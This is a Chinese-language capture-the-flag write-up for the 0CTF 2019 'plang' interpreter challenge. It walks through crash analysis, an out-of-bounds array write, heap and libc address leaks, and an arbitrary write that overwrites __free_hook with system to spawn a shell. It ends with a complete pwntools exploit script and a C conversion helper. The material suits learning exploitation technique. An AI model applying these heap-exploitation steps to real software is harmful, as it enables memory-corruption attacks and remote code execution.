0ctf2019-plang题解

0ctf2019-plang题解

这是一道关于js解释引擎的一道题,以前没做过类似的题,赛后在Ne0师傅写的writeup基础上自己调了一遍,记录一下调试的过程。相关的文件可以点击这里下载

基本信息

将poc中的内容输入给程序,发现程序崩溃,报段错误:

新建/var/crash目录,执行下列命令:

1
2
3
$ vim /etc/sysctl.conf
kernel.core_pattern=/var/crash/%E.%p.%t.%s
$ sysctl -p

将poc作为程序的输入,程序会在/var/crash处产生崩溃文件。使用gdb plang crashfile即可查看崩溃时的内存信息

1
2
3
4
5
6
7
8
9
10
11
0x5555555644a6    mov    qword ptr [rcx], rax
0x5555555644a9 mov qword ptr [rcx + 8], rdx
0x5555555644ad mov rcx, qword ptr [rbp - 0x20]
0x5555555644b1 mov rax, qword ptr [rbp - 0x20]
0x5555555644b5 mov rdx, qword ptr [rax + 0x28]
0x5555555644b9 mov rax, qword ptr [rax + 0x20]
0x5555555644bd mov qword ptr [rcx], rax
0x5555555644c0 mov qword ptr [rcx + 8], rdx
0x5555555644c4 mov eax, 1
0x5555555644c9 leave
0x5555555644ca ret

可以看到程序在0x5555555644a6执行时出现了错误,将rax的值赋值到rcx指向的内存处,但这是一块不合法的内存,所以导致崩溃。

0x5555555644a6-0x555555554000=0x104a6,可以知道存在漏洞的地方在0x104a6处,可以在IDA中定位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall vul_handler(__int64 a1, __int64 a2)
{
_QWORD *addr; // rcx
__int64 v4; // rdx
__int64 v5; // rdx
int index; // [rsp+14h] [rbp-Ch]
__int64 v7; // [rsp+18h] [rbp-8h]

v7 = *(_QWORD *)(a2 + 8);
index = getIndex(a1, *(_DWORD *)(a2 + 16), *(_QWORD *)(a2 + 24), *(_DWORD *)(v7 + 32));
if ( index == -1 )
return 0LL;
addr = (_QWORD *)(*(_QWORD *)(v7 + 24) + 16LL * index);
v4 = *(_QWORD *)(a2 + 0x28);
*addr = *(_QWORD *)(a2 + 0x20); // type
addr[1] = v4; // value
v5 = *(_QWORD *)(a2 + 0x28);
*(_QWORD *)a2 = *(_QWORD *)(a2 + 0x20);
*(_QWORD *)(a2 + 8) = v5;
return 1LL;
}

通过分析,这里存在着越界写数据的漏洞,可以往低地址溢出,但不可以往高地址溢出。

在把一个字符串赋值给数组时,调用的函数仍然为存在漏洞的函数,之所以失败是因为把数组下标设置为-1过不了程序中对下标的检查,设置成-2、-3……即可

变量b对应的地址为0x5555557855e0,字符串a所在的地址为0x55555577efa0,所以设置下标为(0x5555557855e0-0x55555577efa0+0x20)/0x10=-0x662

分析存储的结构体

这里原writeup给出了分析出来的结构体,主要是如下三个:

每一个plang的值都采用下列的结构体来存储

1
2
3
4
5
6
7
struct PlangObj{
long type; // if the obj is a pure double, type is 4, otherwise 5
union{
double value; //如果type为4,则该处已double类型存储数据
obj_ptr* obj; //如果type为5,该处存储的是一个指向对象的指针
};
};

数组结构体如下:

1
2
3
4
5
6
7
8
9
10
struct ArrayObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
// 指向对象数组的指针
PlangObj* buffer_ptr;
int size; // the buffer_ptr and size are what we care
int padding2;
};

字符串结构体如下:

1
2
3
4
5
6
7
8
9
10
struct StringObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
int some_val;
int size;
// 字符串的内容存储在这里
char[] contents;
};

结构体验证

可以对上面的结构体进行验证,使用pwngdb插件可以方便的对内存数据进行搜索查看

数组结构体var c = [1,2,3]在内存中的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
0x555555785890: 0x0000000400000003      0x0000000000000051
0x5555557858a0: 0x0000000000000004 0x3ff0000000000000
0x5555557858b0: 0x0000000000000004 0x4000000000000000
0x5555557858c0: 0x0000000000000004 0x4008000000000000
0x5555557858d0: 0x0000000000000000 0x0000000000000000

# 可以看到数据确实是按照double类型来存储的,对应数组中的1,2,3
gdb-peda$ p{double}(0x5555557858a0+8)
$5 = 1
gdb-peda$ p{double}(0x5555557858b0+8)
$6 = 2
gdb-peda$ p{double}(0x5555557858c0+8)
$7 = 3

上面的一块数据对应的是ArrayObj.buffer_ptr,查找该地址的引用,即可找到ArrayObj对应的内容:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ find 0x5555557858a0
Searching for '0x5555557858a0' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0x555555785888 --> 0x5555557858a0 --> 0x4
gdb-peda$ x/10xg 0x555555785888-0x18
0x555555785870: 0x0000000000000001 0x000055555577bdd0
0x555555785880: 0x0000555555785800 0x00005555557858a0
0x555555785890: 0x0000000400000003 0x0000000000000051
0x5555557858a0: 0x0000000000000004 0x3ff0000000000000
0x5555557858b0: 0x0000000000000004 0x4000000000000000

可以看到其中的数据刚好和ArrayObj结构体相对应,int是四字节,void *为8字节。采用同样的方式可以对其他几种类型进行验证。

泄露堆地址部分

利用数组越界写可以把一个string类的对象的content部分进行赋值,如果把它的content部分赋值为一个字符串对象会怎样?前8字节将被赋值为5,后8字节将被赋值为字符串对象的地址(也就是我们想要泄露的堆地址)。最后通过字符串的string.byteAt_()便可实现逐字节的泄露写入的堆地址。

解决数据转换问题

在进行任意值写的时候面临着一个问题,就是如何在double和int之间相互转换,如何将一个8字节内存从长整型转换为double型?又如何从double型转换为长整型?这里采用了c语言来实现,在exp中启动该c语言实现的程序help.c来帮助我们进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <signal.h> 
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
// 将double类型的值转换为int类型的值
int d2i(){

double a = 0;
long long int* b = &a;

puts("input:");
scanf("%lf",&a);
printf("%lx\n",*b);
return 0;
}
// 将int类型的值转换为double类型的值,使用g或e可以科学计数法的方式输出
// 其中精度可以用.后面的20来控制
int i2d(){
long long int b = 0;
double *a = &b;
char buf[64]={0};

puts("input:");
read(0,buf,60);
b = atoll(buf);
printf("%.20g\n",*a);
return 0;
}

int main(){
init();
char buf[10];
while(1){
puts("choice:");
read(0,buf,2);
if(buf[0]=='1'){
d2i();
}
else if(buf[0]=='2'){
i2d();
}
else{
break;
}
}
return 0;
}

整数和double之间的对应关系,可以用来验证我们写的helper.c是否正确:

1
2
3
4
5
0x00007fff006d756e-->6.9531439626732071e-310

0x00007ffff7ac8b78-->6.9533489063778457e-310

0x00007FFFF7123456-->6.9533484066378559607e-310

泄露libc地址

数据的转换问题解决之后,接着便开始泄露libc的地址了,对于数组中的字段buffer_ptr,我们可以利用数组越界写把它修改为任意的地址(b[-0x100]=value)。前面已经得到了堆的地址,而堆中又是存在libc地址的,所以只要将buffer_ptr修改为某个包含libc地址的堆地址处,再调用System.print(b[0])即可将libc的地址输出出来

哪些堆地址处存在libc地址呢?使用pwngdb搜索即可

这里选取地址0x5555557741b8作为泄露libc地址的地方

1
2
3
4
5
6
gdb-peda$ x/10xg 0x5555557741c3-3-8
0x5555557741b8: 0x0000000000000004 0x00007ffff7ac8b78
0x5555557741c8: 0x0000000000000021 0x657571655370614d
0x5555557741d8: 0x00007fff0065636e 0x00005555557749b0
0x5555557741e8: 0x0000000000000021 0x1101040004090008
0x5555557741f8: 0x00003d3701371500 0x0000000000000020

注意:要正确输出0x5555557741c0处的地址,需要把它前面的8个字节设置为0x4,表示是一个double类型,参考plang中值的存储结构体

设置指定内存的值可以通过下列方式:

set {long long int}(0x5555557855f0+8)=0x00007ffff7ac8b78

任意地址写

和泄露libc地址一样的方式,控制数组对象的buffer_ptr值,将其指向我们target_addr-8处,便可通过b[0]=value的方式来达到任意地址写的目的,这里写入的时候有一个问题,就是会在目标地址的前8字节处写入p64(0x4),如果这里修改了__malloc_hook,那么__realloc_hook的值将会被设置为4,这就导致再次赋值的时候会产生崩溃,因为4不是一个合法的地址

漏洞利用

所以总的漏洞利用过程如下:

  1. 利用数组越界写,将字符串对象赋值到字符串对象acontent处,调用string.byteAt_()完成heap地址泄露
  2. 修改ArrayObj结构体中的buffer_ptr指针,指向堆中存放libc地址的地址处,利用System.print(b[0])输出libc地址,完成libc地址的泄露
  3. 利用同样的方式修改buffer_ptr,利用赋值功能可以实现任意地址写,修改__free_hook的值为system地址,并修改待释放的chunk的fd字段内容为sh,调用ArrayObj对象的clear()函数触发free()函数的调用来getshell

在对数组进行赋值时需要输入的是小数形式的字符串,而python默认的精度是完全达不到要求的,这里采用了decimal库,利用该库可以输出高精度的double类型。

最终利用脚本如下,只在本地尝试(ubuntu 16.04),在不同版本下需要调整相应的参数,同时还需要编译一下用于数据转换的helper.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
import decimal

p = None
ph = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

# create a new context for this task
ctx = decimal.Context()

def float_to_str(f):
"""
Convert the given float to a string,
without resorting to scientific notation
"""
d1 = ctx.create_decimal(f)
return format(d1, 'f')

def writeany(addr,value):
ph.sendlineafter('choice:\n',str(2))
ph.sendlineafter('input:\n',str(addr-8))
pl_data = ph.recvuntil('\n')[:-1]
info('{} -->double: {}'.format(hex(addr-8),pl_data))
payload = 'c[-0x2e] = '+float_to_str(pl_data)
sla('> ',payload)

ph.sendlineafter('choice:\n',str(2))
ph.sendlineafter('input:\n',str(value))
pl_data = ph.recvuntil('\n')[:-1]
info('{} -->double: {}'.format(hex(value),pl_data))
payload = 'b[0] = '+float_to_str(pl_data)
sla('> ',payload)

def pwn():
global p
global ph
BIN_PATH = './plang'
DEBUG = 1
ATTACH = 0
context.arch = 'amd64'
ph = process('./help')
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
p = remote('chall.pwnable.tw',10201)
# libc = ELF('./libc_32.so.6')
context.log_level = 'info'

payload = 'var a = "This is a PoC!a"'
sla('> ',payload)
payload = 'System.print(a)'
sla('> ',payload)
payload = 'var b = [1, 2, 3]'
sla('> ',payload)
payload = 'var c = [1, 2, 3]'
sla('> ',payload)
# b's addr: 0x5555557855e0
payload = 'b[-0x662] = a'
sla('> ',payload)

# leak heap addr
heap_addr = ''
for i in range(8,15):
payload = 'System.print(a.byteAt_({}))'.format(i)
ru('> ')
sl(payload)
heap_addr += chr(int(ru('\n')[:-1]))
heap_addr = u64(heap_addr.ljust(8,'\x00'))
log.info('heap_addr:'+hex(heap_addr))

heap_base = heap_addr-(0x55555577efa0-0x0000555555773000)
info('heap_base:'+hex(heap_base))

# leak libc addr
# target addr:0x5555557741c0-->0x7ffff7ac8b78(main_arena+88)
ph.sendlineafter('choice:\n',str(2))
ph.sendlineafter('input:\n',str(4))
pl_data = ph.recvuntil('\n')[:-1]
info('4-->double:'+pl_data)
payload = 'b[-0x1143] = '+float_to_str(pl_data)
sla('> ',payload)
# c's addr: 0x5555557858a0
# b's buffer_ptr: 0x5555557855c0
ph.sendlineafter('choice:\n',str(2))
ph.sendlineafter('input:\n',str(heap_base+(0x5555557741b8-0x555555773000)))
pl_data = ph.recvuntil('\n')[:-1]
info('4-->double:'+pl_data)
payload = 'c[-0x2e] = '+float_to_str(pl_data)
sla('> ',payload)

payload='System.print(b[0])'
sla('> ',payload)
libc_addr = ru('\n')[:-1]
ph.sendlineafter('choice:\n',str(1))
ph.sendlineafter('input:\n',libc_addr)
libc_addr = int(ph.recvuntil('\n')[:-1],16)
info('libc addr:'+hex(libc_addr))
libc_base = (libc_addr&0xFFFFFFFFFFFFF000)-(0x00007ffff7ac8000-0x00007ffff7704000)
info('libc base:'+hex(libc_base))

if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0x104a6
b *0x555555554000+0x10496
''')

# write __free_hook
# c's buffer_ptr: 0x00005555557858a0

freehook_addr = libc_base+libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
writeany(freehook_addr,system_addr)
value = u64('sh\x00'.ljust(8,'\x00'))
writeany(heap_base+(0x5555557858a0-0x555555773000),value)

payload = 'c.clear()'
sla('> ',payload)

p.interactive()

if __name__ == '__main__':
pwn()

参考链接

https://changochen.github.io/2019-03-23-0ctf-2019.html

https://codeday.me/bug/20171224/112503.html